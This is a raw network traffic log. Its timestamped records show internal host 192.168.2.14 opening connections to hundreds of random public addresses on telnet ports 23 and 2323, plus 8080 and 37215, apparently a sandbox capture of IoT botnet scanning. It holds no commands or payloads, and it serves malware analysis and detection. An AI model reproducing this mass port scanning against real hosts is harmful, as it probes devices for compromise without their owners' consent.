Feb 27, 2025 07:08:34.537822008 CET	25794	23	192.168.2.14	197.86.131.121
Feb 27, 2025 07:08:34.537822962 CET	25538	8080	192.168.2.14	95.167.18.102
Feb 27, 2025 07:08:34.537822962 CET	8080	25538	95.161.206.51	192.168.2.14
Feb 27, 2025 07:08:34.537827015 CET	25794	2323	192.168.2.14	199.177.158.127
Feb 27, 2025 07:08:34.537833929 CET	25538	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:34.537833929 CET	8080	25538	94.231.122.101	192.168.2.14
Feb 27, 2025 07:08:34.537843943 CET	8080	25538	94.120.136.233	192.168.2.14
Feb 27, 2025 07:08:34.537847042 CET	25538	8080	192.168.2.14	31.236.62.169
Feb 27, 2025 07:08:34.537857056 CET	25538	8080	192.168.2.14	95.161.206.51
Feb 27, 2025 07:08:34.537874937 CET	25794	23	192.168.2.14	217.105.74.63
Feb 27, 2025 07:08:34.537874937 CET	25794	23	192.168.2.14	181.209.19.211
Feb 27, 2025 07:08:34.537874937 CET	25538	8080	192.168.2.14	94.231.122.101
Feb 27, 2025 07:08:34.537874937 CET	25794	23	192.168.2.14	148.221.198.117
Feb 27, 2025 07:08:34.537883997 CET	25538	8080	192.168.2.14	94.120.136.233
Feb 27, 2025 07:08:34.537884951 CET	25794	23	192.168.2.14	41.31.177.250
Feb 27, 2025 07:08:34.537887096 CET	25794	23	192.168.2.14	220.97.117.218
Feb 27, 2025 07:08:34.537894964 CET	25794	23	192.168.2.14	153.13.236.157
Feb 27, 2025 07:08:34.537894964 CET	25794	2323	192.168.2.14	80.49.179.105
Feb 27, 2025 07:08:34.537898064 CET	25794	23	192.168.2.14	145.29.64.164
Feb 27, 2025 07:08:34.537898064 CET	25794	23	192.168.2.14	19.241.161.79
Feb 27, 2025 07:08:34.537903070 CET	25794	23	192.168.2.14	36.204.39.63
Feb 27, 2025 07:08:34.537925005 CET	25794	23	192.168.2.14	159.194.4.66
Feb 27, 2025 07:08:34.537926912 CET	25794	23	192.168.2.14	198.98.208.85
Feb 27, 2025 07:08:34.537929058 CET	25794	23	192.168.2.14	185.205.133.144
Feb 27, 2025 07:08:34.537936926 CET	25794	23	192.168.2.14	85.188.91.98
Feb 27, 2025 07:08:34.537950039 CET	25794	23	192.168.2.14	23.29.251.220
Feb 27, 2025 07:08:34.537950993 CET	25794	23	192.168.2.14	171.115.223.24
Feb 27, 2025 07:08:34.537955999 CET	25794	23	192.168.2.14	173.12.111.213
Feb 27, 2025 07:08:34.537962914 CET	25794	23	192.168.2.14	218.90.126.26
Feb 27, 2025 07:08:34.537970066 CET	25794	23	192.168.2.14	108.60.102.3
Feb 27, 2025 07:08:34.537980080 CET	25794	2323	192.168.2.14	80.46.217.230
Feb 27, 2025 07:08:34.537986040 CET	25794	23	192.168.2.14	40.76.115.170
Feb 27, 2025 07:08:34.538002014 CET	25794	23	192.168.2.14	86.51.198.67
Feb 27, 2025 07:08:34.538008928 CET	25794	23	192.168.2.14	162.234.42.77
Feb 27, 2025 07:08:34.538012028 CET	25794	23	192.168.2.14	125.72.172.207
Feb 27, 2025 07:08:34.538019896 CET	25794	23	192.168.2.14	45.31.75.5
Feb 27, 2025 07:08:34.538019896 CET	25794	23	192.168.2.14	18.98.107.254
Feb 27, 2025 07:08:34.538034916 CET	25794	23	192.168.2.14	187.41.178.48
Feb 27, 2025 07:08:34.538038969 CET	25794	23	192.168.2.14	91.193.47.6
Feb 27, 2025 07:08:34.538048029 CET	25794	23	192.168.2.14	223.11.17.20
Feb 27, 2025 07:08:34.538048983 CET	25794	23	192.168.2.14	188.128.181.95
Feb 27, 2025 07:08:34.538048983 CET	25794	23	192.168.2.14	76.185.75.76
Feb 27, 2025 07:08:34.538049936 CET	25794	23	192.168.2.14	59.98.15.19
Feb 27, 2025 07:08:34.538048983 CET	25794	23	192.168.2.14	210.210.76.164
Feb 27, 2025 07:08:34.538049936 CET	25794	2323	192.168.2.14	132.139.90.66
Feb 27, 2025 07:08:34.538050890 CET	25794	23	192.168.2.14	71.80.181.181
Feb 27, 2025 07:08:34.538074970 CET	25794	23	192.168.2.14	131.101.252.234
Feb 27, 2025 07:08:34.538078070 CET	25794	23	192.168.2.14	148.236.137.40
Feb 27, 2025 07:08:34.538078070 CET	25794	23	192.168.2.14	5.149.30.6
Feb 27, 2025 07:08:34.538081884 CET	25794	23	192.168.2.14	81.18.81.84
Feb 27, 2025 07:08:34.538100958 CET	25794	23	192.168.2.14	116.238.69.82
Feb 27, 2025 07:08:34.538100958 CET	25794	2323	192.168.2.14	45.153.92.16
Feb 27, 2025 07:08:34.538115978 CET	25794	23	192.168.2.14	137.222.108.128
Feb 27, 2025 07:08:34.538130999 CET	25794	23	192.168.2.14	78.112.217.89
Feb 27, 2025 07:08:34.538132906 CET	25794	23	192.168.2.14	59.207.174.127
Feb 27, 2025 07:08:34.538132906 CET	25794	23	192.168.2.14	167.194.21.166
Feb 27, 2025 07:08:34.538141966 CET	25794	23	192.168.2.14	4.243.53.47
Feb 27, 2025 07:08:34.538158894 CET	25794	23	192.168.2.14	2.144.138.222
Feb 27, 2025 07:08:34.538158894 CET	25794	23	192.168.2.14	12.84.246.126
Feb 27, 2025 07:08:34.538160086 CET	25794	23	192.168.2.14	189.157.0.172
Feb 27, 2025 07:08:34.538160086 CET	25794	2323	192.168.2.14	220.160.239.195
Feb 27, 2025 07:08:34.538177967 CET	25794	23	192.168.2.14	137.228.132.70
Feb 27, 2025 07:08:34.538199902 CET	25794	23	192.168.2.14	141.39.71.203
Feb 27, 2025 07:08:34.538199902 CET	25794	23	192.168.2.14	61.83.174.79
Feb 27, 2025 07:08:34.538199902 CET	25794	23	192.168.2.14	93.101.174.200
Feb 27, 2025 07:08:34.538206100 CET	25794	23	192.168.2.14	61.73.0.115
Feb 27, 2025 07:08:34.538216114 CET	25794	23	192.168.2.14	63.180.192.2
Feb 27, 2025 07:08:34.538217068 CET	25794	23	192.168.2.14	71.10.149.188
Feb 27, 2025 07:08:34.538218021 CET	25794	23	192.168.2.14	174.42.106.36
Feb 27, 2025 07:08:34.538223982 CET	25794	23	192.168.2.14	136.205.211.146
Feb 27, 2025 07:08:34.538248062 CET	25794	23	192.168.2.14	73.241.190.47
Feb 27, 2025 07:08:34.538254976 CET	25794	2323	192.168.2.14	216.121.16.25
Feb 27, 2025 07:08:34.538254976 CET	25794	23	192.168.2.14	204.125.187.167
Feb 27, 2025 07:08:34.538259029 CET	25794	23	192.168.2.14	43.127.145.9
Feb 27, 2025 07:08:34.538259983 CET	25794	23	192.168.2.14	59.219.150.38
Feb 27, 2025 07:08:34.538275003 CET	25794	23	192.168.2.14	51.240.16.217
Feb 27, 2025 07:08:34.538275003 CET	25794	23	192.168.2.14	12.228.208.239
Feb 27, 2025 07:08:34.538278103 CET	25794	23	192.168.2.14	59.87.3.229
Feb 27, 2025 07:08:34.538278103 CET	25794	23	192.168.2.14	202.88.77.133
Feb 27, 2025 07:08:34.538290977 CET	25794	23	192.168.2.14	189.176.99.83
Feb 27, 2025 07:08:34.538296938 CET	25794	2323	192.168.2.14	117.177.152.151
Feb 27, 2025 07:08:34.538302898 CET	25794	23	192.168.2.14	138.95.123.134
Feb 27, 2025 07:08:34.538324118 CET	25794	23	192.168.2.14	115.220.4.69
Feb 27, 2025 07:08:34.538328886 CET	25794	23	192.168.2.14	160.129.93.64
Feb 27, 2025 07:08:34.538328886 CET	25794	23	192.168.2.14	177.156.196.100
Feb 27, 2025 07:08:34.538330078 CET	25794	23	192.168.2.14	101.80.243.147
Feb 27, 2025 07:08:34.538330078 CET	25794	23	192.168.2.14	98.238.212.213
Feb 27, 2025 07:08:34.538330078 CET	25794	23	192.168.2.14	90.43.252.198
Feb 27, 2025 07:08:34.538331032 CET	25794	23	192.168.2.14	77.83.88.159
Feb 27, 2025 07:08:34.538342953 CET	25794	23	192.168.2.14	185.156.43.30
Feb 27, 2025 07:08:34.538353920 CET	25794	23	192.168.2.14	159.134.126.187
Feb 27, 2025 07:08:34.538360119 CET	25794	2323	192.168.2.14	199.66.75.212
Feb 27, 2025 07:08:34.538360119 CET	25794	23	192.168.2.14	129.184.215.157
Feb 27, 2025 07:08:34.538388968 CET	57706	37215	192.168.2.14	197.91.205.227
Feb 27, 2025 07:08:34.538389921 CET	25794	23	192.168.2.14	170.148.68.228
Feb 27, 2025 07:08:34.538393021 CET	25794	23	192.168.2.14	121.55.116.71
Feb 27, 2025 07:08:34.538393021 CET	25794	23	192.168.2.14	109.169.204.89
Feb 27, 2025 07:08:34.538397074 CET	25794	23	192.168.2.14	211.94.0.63
Feb 27, 2025 07:08:34.538397074 CET	25794	23	192.168.2.14	71.99.249.75
Feb 27, 2025 07:08:34.538408995 CET	25794	2323	192.168.2.14	36.93.137.215
Feb 27, 2025 07:08:34.538410902 CET	25794	23	192.168.2.14	84.233.20.80
Feb 27, 2025 07:08:34.538417101 CET	25794	23	192.168.2.14	139.48.226.106
Feb 27, 2025 07:08:34.538420916 CET	25794	23	192.168.2.14	35.194.115.73
Feb 27, 2025 07:08:34.538428068 CET	25794	23	192.168.2.14	86.38.217.175
Feb 27, 2025 07:08:34.538420916 CET	25794	23	192.168.2.14	195.22.234.16
Feb 27, 2025 07:08:34.538439989 CET	25794	23	192.168.2.14	196.2.27.73
Feb 27, 2025 07:08:34.538444996 CET	25794	23	192.168.2.14	199.110.54.218
Feb 27, 2025 07:08:34.538459063 CET	25794	23	192.168.2.14	85.23.146.20
Feb 27, 2025 07:08:34.538463116 CET	25794	23	192.168.2.14	62.10.169.235
Feb 27, 2025 07:08:34.538466930 CET	25794	23	192.168.2.14	72.167.35.190
Feb 27, 2025 07:08:34.538471937 CET	25794	23	192.168.2.14	169.178.141.100
Feb 27, 2025 07:08:34.538471937 CET	25794	2323	192.168.2.14	74.83.204.72
Feb 27, 2025 07:08:34.538474083 CET	25794	23	192.168.2.14	18.191.254.206
Feb 27, 2025 07:08:34.538474083 CET	25794	23	192.168.2.14	130.199.193.46
Feb 27, 2025 07:08:34.538494110 CET	25794	23	192.168.2.14	192.77.141.146
Feb 27, 2025 07:08:34.538501978 CET	25794	23	192.168.2.14	122.196.190.137
Feb 27, 2025 07:08:34.538502932 CET	25794	23	192.168.2.14	163.39.151.90
Feb 27, 2025 07:08:34.538502932 CET	25794	23	192.168.2.14	156.59.74.64
Feb 27, 2025 07:08:34.538515091 CET	25794	23	192.168.2.14	42.244.87.38
Feb 27, 2025 07:08:34.538516998 CET	25794	23	192.168.2.14	86.224.101.36
Feb 27, 2025 07:08:34.538520098 CET	25794	2323	192.168.2.14	128.238.231.103
Feb 27, 2025 07:08:34.538521051 CET	25794	23	192.168.2.14	8.229.230.171
Feb 27, 2025 07:08:34.538523912 CET	25794	23	192.168.2.14	160.137.108.3
Feb 27, 2025 07:08:34.538532019 CET	25794	23	192.168.2.14	39.242.46.192
Feb 27, 2025 07:08:34.538532019 CET	25794	23	192.168.2.14	98.3.48.170
Feb 27, 2025 07:08:34.538546085 CET	25794	23	192.168.2.14	159.250.163.204
Feb 27, 2025 07:08:34.538547039 CET	25794	23	192.168.2.14	199.206.255.195
Feb 27, 2025 07:08:34.538546085 CET	25794	23	192.168.2.14	128.229.131.27
Feb 27, 2025 07:08:34.538547039 CET	25794	23	192.168.2.14	163.138.130.133
Feb 27, 2025 07:08:34.538547993 CET	25794	23	192.168.2.14	83.135.171.239
Feb 27, 2025 07:08:34.538561106 CET	25794	23	192.168.2.14	13.240.178.117
Feb 27, 2025 07:08:34.538564920 CET	25794	23	192.168.2.14	191.50.164.140
Feb 27, 2025 07:08:34.538567066 CET	25794	2323	192.168.2.14	13.216.115.210
Feb 27, 2025 07:08:34.538570881 CET	25794	23	192.168.2.14	71.157.58.229
Feb 27, 2025 07:08:34.538572073 CET	25794	23	192.168.2.14	142.190.114.205
Feb 27, 2025 07:08:34.538594961 CET	25794	23	192.168.2.14	19.134.206.195
Feb 27, 2025 07:08:34.538595915 CET	25794	23	192.168.2.14	195.210.70.249
Feb 27, 2025 07:08:34.538595915 CET	25794	23	192.168.2.14	83.64.33.32
Feb 27, 2025 07:08:34.538595915 CET	25794	23	192.168.2.14	85.181.182.138
Feb 27, 2025 07:08:34.538604975 CET	25794	23	192.168.2.14	2.131.144.114
Feb 27, 2025 07:08:34.538618088 CET	25794	23	192.168.2.14	126.65.177.7
Feb 27, 2025 07:08:34.538619041 CET	25794	23	192.168.2.14	95.250.45.69
Feb 27, 2025 07:08:34.538619041 CET	25794	2323	192.168.2.14	133.85.197.32
Feb 27, 2025 07:08:34.538633108 CET	25794	23	192.168.2.14	139.5.195.1
Feb 27, 2025 07:08:34.538647890 CET	25794	23	192.168.2.14	187.126.127.143
Feb 27, 2025 07:08:34.538647890 CET	25794	23	192.168.2.14	87.149.34.215
Feb 27, 2025 07:08:34.538650990 CET	25794	23	192.168.2.14	42.79.159.132
Feb 27, 2025 07:08:34.538661003 CET	25794	23	192.168.2.14	58.223.7.113
Feb 27, 2025 07:08:34.538674116 CET	25794	23	192.168.2.14	78.106.88.77
Feb 27, 2025 07:08:34.538677931 CET	25794	23	192.168.2.14	138.226.191.244
Feb 27, 2025 07:08:34.538682938 CET	25794	2323	192.168.2.14	59.21.121.70
Feb 27, 2025 07:08:34.538691998 CET	25794	23	192.168.2.14	27.45.239.157
Feb 27, 2025 07:08:34.538713932 CET	25794	23	192.168.2.14	152.160.186.56
Feb 27, 2025 07:08:34.538717031 CET	25794	23	192.168.2.14	104.22.178.252
Feb 27, 2025 07:08:34.538717031 CET	25794	23	192.168.2.14	198.193.208.185
Feb 27, 2025 07:08:34.538728952 CET	25794	23	192.168.2.14	210.143.169.199
Feb 27, 2025 07:08:34.538733959 CET	25794	23	192.168.2.14	86.221.169.191
Feb 27, 2025 07:08:34.538733959 CET	25794	23	192.168.2.14	38.176.42.204
Feb 27, 2025 07:08:34.538748026 CET	25794	23	192.168.2.14	189.219.105.161
Feb 27, 2025 07:08:34.538772106 CET	25794	23	192.168.2.14	95.228.52.151
Feb 27, 2025 07:08:34.538774014 CET	25794	23	192.168.2.14	174.66.199.247
Feb 27, 2025 07:08:34.538780928 CET	25794	23	192.168.2.14	112.173.143.66
Feb 27, 2025 07:08:34.538785934 CET	25794	2323	192.168.2.14	219.62.174.255
Feb 27, 2025 07:08:34.538814068 CET	25794	23	192.168.2.14	183.228.113.254
Feb 27, 2025 07:08:34.538822889 CET	25794	23	192.168.2.14	149.243.5.90
Feb 27, 2025 07:08:34.538825989 CET	25794	23	192.168.2.14	197.185.169.44
Feb 27, 2025 07:08:34.538827896 CET	25794	23	192.168.2.14	160.128.185.117
Feb 27, 2025 07:08:34.538837910 CET	25794	23	192.168.2.14	92.122.49.41
Feb 27, 2025 07:08:34.538837910 CET	25794	23	192.168.2.14	95.18.30.207
Feb 27, 2025 07:08:34.538842916 CET	25794	23	192.168.2.14	187.58.36.8
Feb 27, 2025 07:08:34.538842916 CET	25794	23	192.168.2.14	190.150.242.85
Feb 27, 2025 07:08:34.538883924 CET	25794	23	192.168.2.14	128.164.97.39
Feb 27, 2025 07:08:34.538888931 CET	25794	23	192.168.2.14	160.39.228.188
Feb 27, 2025 07:08:34.538891077 CET	25794	23	192.168.2.14	101.84.219.229
Feb 27, 2025 07:08:34.538892984 CET	25794	2323	192.168.2.14	143.91.22.131
Feb 27, 2025 07:08:34.538907051 CET	25794	23	192.168.2.14	169.184.178.112
Feb 27, 2025 07:08:34.538909912 CET	25794	23	192.168.2.14	218.166.94.20
Feb 27, 2025 07:08:34.538909912 CET	25794	23	192.168.2.14	210.52.180.241
Feb 27, 2025 07:08:34.538912058 CET	25794	23	192.168.2.14	25.198.155.128
Feb 27, 2025 07:08:34.538913012 CET	25794	23	192.168.2.14	202.49.192.202
Feb 27, 2025 07:08:34.538917065 CET	25794	23	192.168.2.14	95.167.113.19
Feb 27, 2025 07:08:34.538939953 CET	25794	2323	192.168.2.14	198.241.94.41
Feb 27, 2025 07:08:34.538939953 CET	25794	23	192.168.2.14	69.200.3.31
Feb 27, 2025 07:08:34.538948059 CET	25794	23	192.168.2.14	81.156.248.47
Feb 27, 2025 07:08:34.538949966 CET	25794	23	192.168.2.14	121.66.206.90
Feb 27, 2025 07:08:34.538965940 CET	25794	23	192.168.2.14	57.77.29.232
Feb 27, 2025 07:08:34.538968086 CET	25794	23	192.168.2.14	44.124.194.163
Feb 27, 2025 07:08:34.538968086 CET	25794	23	192.168.2.14	80.38.152.49
Feb 27, 2025 07:08:34.538969040 CET	25794	23	192.168.2.14	148.100.123.82
Feb 27, 2025 07:08:34.538988113 CET	25794	23	192.168.2.14	17.51.185.123
Feb 27, 2025 07:08:34.539007902 CET	25794	2323	192.168.2.14	161.101.49.238
Feb 27, 2025 07:08:34.539010048 CET	25794	23	192.168.2.14	38.140.167.206
Feb 27, 2025 07:08:34.539011955 CET	25794	23	192.168.2.14	148.84.71.211
Feb 27, 2025 07:08:34.539015055 CET	25794	23	192.168.2.14	219.46.227.172
Feb 27, 2025 07:08:34.539022923 CET	25794	23	192.168.2.14	162.38.115.253
Feb 27, 2025 07:08:34.539032936 CET	25794	23	192.168.2.14	64.82.34.2
Feb 27, 2025 07:08:34.539036036 CET	25794	23	192.168.2.14	222.59.89.122
Feb 27, 2025 07:08:34.539053917 CET	25794	23	192.168.2.14	141.64.216.204
Feb 27, 2025 07:08:34.539058924 CET	25794	23	192.168.2.14	103.69.34.109
Feb 27, 2025 07:08:34.539071083 CET	25794	23	192.168.2.14	220.75.57.224
Feb 27, 2025 07:08:34.539072990 CET	25794	23	192.168.2.14	43.65.239.66
Feb 27, 2025 07:08:34.539072990 CET	25794	2323	192.168.2.14	106.51.190.164
Feb 27, 2025 07:08:34.539087057 CET	25794	23	192.168.2.14	163.151.161.87
Feb 27, 2025 07:08:34.539088964 CET	25794	23	192.168.2.14	165.213.102.45
Feb 27, 2025 07:08:34.539094925 CET	25794	23	192.168.2.14	207.204.150.224
Feb 27, 2025 07:08:34.539094925 CET	25794	23	192.168.2.14	183.150.137.178
Feb 27, 2025 07:08:34.539094925 CET	25794	23	192.168.2.14	147.145.237.150
Feb 27, 2025 07:08:34.539104939 CET	25794	23	192.168.2.14	79.83.149.56
Feb 27, 2025 07:08:34.539104939 CET	25794	23	192.168.2.14	41.17.225.95
Feb 27, 2025 07:08:34.539110899 CET	25794	23	192.168.2.14	163.227.58.197
Feb 27, 2025 07:08:34.539119005 CET	25794	23	192.168.2.14	142.67.97.228
Feb 27, 2025 07:08:34.539128065 CET	25794	23	192.168.2.14	103.249.90.49
Feb 27, 2025 07:08:34.539128065 CET	25794	2323	192.168.2.14	132.9.243.159
Feb 27, 2025 07:08:34.539128065 CET	25794	23	192.168.2.14	1.116.134.31
Feb 27, 2025 07:08:34.539128065 CET	25794	23	192.168.2.14	59.84.174.84
Feb 27, 2025 07:08:34.540271044 CET	8080	25538	31.236.90.134	192.168.2.14
Feb 27, 2025 07:08:34.540282011 CET	8080	25538	62.141.41.169	192.168.2.14
Feb 27, 2025 07:08:34.540290117 CET	8080	25538	31.108.84.147	192.168.2.14
Feb 27, 2025 07:08:34.540299892 CET	8080	25538	31.172.172.201	192.168.2.14
Feb 27, 2025 07:08:34.540309906 CET	8080	25538	85.122.205.201	192.168.2.14
Feb 27, 2025 07:08:34.540312052 CET	25538	8080	192.168.2.14	31.236.90.134
Feb 27, 2025 07:08:34.540319920 CET	25538	8080	192.168.2.14	62.141.41.169
Feb 27, 2025 07:08:34.540321112 CET	8080	25538	62.67.59.86	192.168.2.14
Feb 27, 2025 07:08:34.540323973 CET	25538	8080	192.168.2.14	31.108.84.147
Feb 27, 2025 07:08:34.540326118 CET	25538	8080	192.168.2.14	31.172.172.201
Feb 27, 2025 07:08:34.540329933 CET	8080	25538	85.157.87.4	192.168.2.14
Feb 27, 2025 07:08:34.540337086 CET	8080	25538	94.27.59.54	192.168.2.14
Feb 27, 2025 07:08:34.540347099 CET	8080	25538	95.123.59.146	192.168.2.14
Feb 27, 2025 07:08:34.540358067 CET	8080	25538	62.22.40.2	192.168.2.14
Feb 27, 2025 07:08:34.540368080 CET	8080	25538	62.6.169.156	192.168.2.14
Feb 27, 2025 07:08:34.540373087 CET	25538	8080	192.168.2.14	85.122.205.201
Feb 27, 2025 07:08:34.540375948 CET	25538	8080	192.168.2.14	62.67.59.86
Feb 27, 2025 07:08:34.540375948 CET	25538	8080	192.168.2.14	94.27.59.54
Feb 27, 2025 07:08:34.540378094 CET	8080	25538	94.202.9.60	192.168.2.14
Feb 27, 2025 07:08:34.540390015 CET	8080	25538	31.155.119.136	192.168.2.14
Feb 27, 2025 07:08:34.540394068 CET	25538	8080	192.168.2.14	85.157.87.4
Feb 27, 2025 07:08:34.540399075 CET	8080	25538	62.60.108.62	192.168.2.14
Feb 27, 2025 07:08:34.540404081 CET	25538	8080	192.168.2.14	62.22.40.2
Feb 27, 2025 07:08:34.540409088 CET	25538	8080	192.168.2.14	95.123.59.146
Feb 27, 2025 07:08:34.540409088 CET	25538	8080	192.168.2.14	62.6.169.156
Feb 27, 2025 07:08:34.540410042 CET	8080	25538	31.229.209.227	192.168.2.14
Feb 27, 2025 07:08:34.540420055 CET	25538	8080	192.168.2.14	62.60.108.62
Feb 27, 2025 07:08:34.540421009 CET	8080	25538	31.89.30.208	192.168.2.14
Feb 27, 2025 07:08:34.540425062 CET	25538	8080	192.168.2.14	94.202.9.60
Feb 27, 2025 07:08:34.540425062 CET	25538	8080	192.168.2.14	31.155.119.136
Feb 27, 2025 07:08:34.540431976 CET	8080	25538	94.238.41.58	192.168.2.14
Feb 27, 2025 07:08:34.540441990 CET	8080	25538	62.165.89.33	192.168.2.14
Feb 27, 2025 07:08:34.540452957 CET	8080	25538	95.125.153.65	192.168.2.14
Feb 27, 2025 07:08:34.540452957 CET	25538	8080	192.168.2.14	31.229.209.227
Feb 27, 2025 07:08:34.540452957 CET	25538	8080	192.168.2.14	31.89.30.208
Feb 27, 2025 07:08:34.540463924 CET	8080	25538	85.160.134.201	192.168.2.14
Feb 27, 2025 07:08:34.540463924 CET	25538	8080	192.168.2.14	94.238.41.58
Feb 27, 2025 07:08:34.540478945 CET	25538	8080	192.168.2.14	62.165.89.33
Feb 27, 2025 07:08:34.540501118 CET	25538	8080	192.168.2.14	95.125.153.65
Feb 27, 2025 07:08:34.540501118 CET	25538	8080	192.168.2.14	85.160.134.201
Feb 27, 2025 07:08:34.540910006 CET	46196	37215	192.168.2.14	197.86.108.181
Feb 27, 2025 07:08:34.542215109 CET	8080	25538	31.115.52.142	192.168.2.14
Feb 27, 2025 07:08:34.542227983 CET	8080	25538	31.43.27.165	192.168.2.14
Feb 27, 2025 07:08:34.542237043 CET	8080	25538	95.95.132.85	192.168.2.14
Feb 27, 2025 07:08:34.542247057 CET	8080	25538	94.222.184.148	192.168.2.14
Feb 27, 2025 07:08:34.542257071 CET	25538	8080	192.168.2.14	31.115.52.142
Feb 27, 2025 07:08:34.542258978 CET	8080	25538	85.193.106.203	192.168.2.14
Feb 27, 2025 07:08:34.542265892 CET	25538	8080	192.168.2.14	31.43.27.165
Feb 27, 2025 07:08:34.542270899 CET	8080	25538	31.218.152.147	192.168.2.14
Feb 27, 2025 07:08:34.542282104 CET	25538	8080	192.168.2.14	95.95.132.85
Feb 27, 2025 07:08:34.542283058 CET	8080	25538	95.11.4.54	192.168.2.14
Feb 27, 2025 07:08:34.542282104 CET	25538	8080	192.168.2.14	94.222.184.148
Feb 27, 2025 07:08:34.542284012 CET	25538	8080	192.168.2.14	85.193.106.203
Feb 27, 2025 07:08:34.542294979 CET	8080	25538	31.21.40.209	192.168.2.14
Feb 27, 2025 07:08:34.542304039 CET	8080	25538	31.159.173.181	192.168.2.14
Feb 27, 2025 07:08:34.542310953 CET	25538	8080	192.168.2.14	31.218.152.147
Feb 27, 2025 07:08:34.542313099 CET	25538	8080	192.168.2.14	95.11.4.54
Feb 27, 2025 07:08:34.542315006 CET	8080	25538	85.168.31.91	192.168.2.14
Feb 27, 2025 07:08:34.542325974 CET	8080	25538	62.123.85.140	192.168.2.14
Feb 27, 2025 07:08:34.542329073 CET	25538	8080	192.168.2.14	31.159.173.181
Feb 27, 2025 07:08:34.542332888 CET	25538	8080	192.168.2.14	31.21.40.209
Feb 27, 2025 07:08:34.542335033 CET	8080	25538	31.89.14.73	192.168.2.14
Feb 27, 2025 07:08:34.542346001 CET	8080	25538	95.253.143.18	192.168.2.14
Feb 27, 2025 07:08:34.542356014 CET	8080	25538	85.126.248.116	192.168.2.14
Feb 27, 2025 07:08:34.542362928 CET	25538	8080	192.168.2.14	62.123.85.140
Feb 27, 2025 07:08:34.542363882 CET	25538	8080	192.168.2.14	31.89.14.73
Feb 27, 2025 07:08:34.542366028 CET	25538	8080	192.168.2.14	85.168.31.91
Feb 27, 2025 07:08:34.542366982 CET	8080	25538	85.130.62.204	192.168.2.14
Feb 27, 2025 07:08:34.542371988 CET	8080	25538	95.106.107.95	192.168.2.14
Feb 27, 2025 07:08:34.542378902 CET	8080	25538	62.193.83.134	192.168.2.14
Feb 27, 2025 07:08:34.542385101 CET	8080	25538	85.40.37.157	192.168.2.14
Feb 27, 2025 07:08:34.542393923 CET	25538	8080	192.168.2.14	95.253.143.18
Feb 27, 2025 07:08:34.542395115 CET	8080	25538	31.47.245.71	192.168.2.14
Feb 27, 2025 07:08:34.542396069 CET	25538	8080	192.168.2.14	85.130.62.204
Feb 27, 2025 07:08:34.542398930 CET	25538	8080	192.168.2.14	85.126.248.116
Feb 27, 2025 07:08:34.542398930 CET	25538	8080	192.168.2.14	95.106.107.95
Feb 27, 2025 07:08:34.542407036 CET	8080	25538	62.28.153.172	192.168.2.14
Feb 27, 2025 07:08:34.542419910 CET	25538	8080	192.168.2.14	85.40.37.157
Feb 27, 2025 07:08:34.542419910 CET	8080	25538	95.114.134.92	192.168.2.14
Feb 27, 2025 07:08:34.542429924 CET	25538	8080	192.168.2.14	62.193.83.134
Feb 27, 2025 07:08:34.542432070 CET	25538	8080	192.168.2.14	31.47.245.71
Feb 27, 2025 07:08:34.542434931 CET	8080	25538	85.103.7.96	192.168.2.14
Feb 27, 2025 07:08:34.542445898 CET	8080	25538	94.73.24.66	192.168.2.14
Feb 27, 2025 07:08:34.542448997 CET	25538	8080	192.168.2.14	62.28.153.172
Feb 27, 2025 07:08:34.542452097 CET	25538	8080	192.168.2.14	95.114.134.92
Feb 27, 2025 07:08:34.542455912 CET	8080	25538	94.116.159.159	192.168.2.14
Feb 27, 2025 07:08:34.542469978 CET	8080	25538	62.73.112.58	192.168.2.14
Feb 27, 2025 07:08:34.542470932 CET	25538	8080	192.168.2.14	85.103.7.96
Feb 27, 2025 07:08:34.542476892 CET	25538	8080	192.168.2.14	94.73.24.66
Feb 27, 2025 07:08:34.542481899 CET	8080	25538	94.238.118.245	192.168.2.14
Feb 27, 2025 07:08:34.542490959 CET	25538	8080	192.168.2.14	94.116.159.159
Feb 27, 2025 07:08:34.542493105 CET	8080	25538	95.128.76.45	192.168.2.14
Feb 27, 2025 07:08:34.542498112 CET	25538	8080	192.168.2.14	62.73.112.58
Feb 27, 2025 07:08:34.542501926 CET	8080	25538	62.58.164.37	192.168.2.14
Feb 27, 2025 07:08:34.542511940 CET	8080	25538	62.45.231.40	192.168.2.14
Feb 27, 2025 07:08:34.542519093 CET	25538	8080	192.168.2.14	94.238.118.245
Feb 27, 2025 07:08:34.542522907 CET	8080	25538	95.99.17.136	192.168.2.14
Feb 27, 2025 07:08:34.542534113 CET	8080	25538	31.145.45.34	192.168.2.14
Feb 27, 2025 07:08:34.542541027 CET	25538	8080	192.168.2.14	62.45.231.40
Feb 27, 2025 07:08:34.542541981 CET	25538	8080	192.168.2.14	95.128.76.45
Feb 27, 2025 07:08:34.542541981 CET	25538	8080	192.168.2.14	62.58.164.37
Feb 27, 2025 07:08:34.542545080 CET	8080	25538	94.150.121.81	192.168.2.14
Feb 27, 2025 07:08:34.542553902 CET	25538	8080	192.168.2.14	95.99.17.136
Feb 27, 2025 07:08:34.542555094 CET	8080	25538	62.167.138.178	192.168.2.14
Feb 27, 2025 07:08:34.542565107 CET	8080	25538	94.111.187.132	192.168.2.14
Feb 27, 2025 07:08:34.542577028 CET	8080	25538	62.48.159.162	192.168.2.14
Feb 27, 2025 07:08:34.542577028 CET	25538	8080	192.168.2.14	31.145.45.34
Feb 27, 2025 07:08:34.542579889 CET	25538	8080	192.168.2.14	94.150.121.81
Feb 27, 2025 07:08:34.542587996 CET	8080	25538	85.169.71.217	192.168.2.14
Feb 27, 2025 07:08:34.542589903 CET	25538	8080	192.168.2.14	62.167.138.178
Feb 27, 2025 07:08:34.542596102 CET	25538	8080	192.168.2.14	94.111.187.132
Feb 27, 2025 07:08:34.542598963 CET	8080	25538	31.115.101.137	192.168.2.14
Feb 27, 2025 07:08:34.542610884 CET	8080	25538	94.209.211.190	192.168.2.14
Feb 27, 2025 07:08:34.542612076 CET	25538	8080	192.168.2.14	62.48.159.162
Feb 27, 2025 07:08:34.542618036 CET	25538	8080	192.168.2.14	85.169.71.217
Feb 27, 2025 07:08:34.542620897 CET	8080	25538	62.23.38.57	192.168.2.14
Feb 27, 2025 07:08:34.542630911 CET	8080	25538	94.22.245.74	192.168.2.14
Feb 27, 2025 07:08:34.542634010 CET	25538	8080	192.168.2.14	31.115.101.137
Feb 27, 2025 07:08:34.542642117 CET	8080	25538	85.75.247.77	192.168.2.14
Feb 27, 2025 07:08:34.542651892 CET	25538	8080	192.168.2.14	62.23.38.57
Feb 27, 2025 07:08:34.542658091 CET	25538	8080	192.168.2.14	94.209.211.190
Feb 27, 2025 07:08:34.542666912 CET	25538	8080	192.168.2.14	94.22.245.74
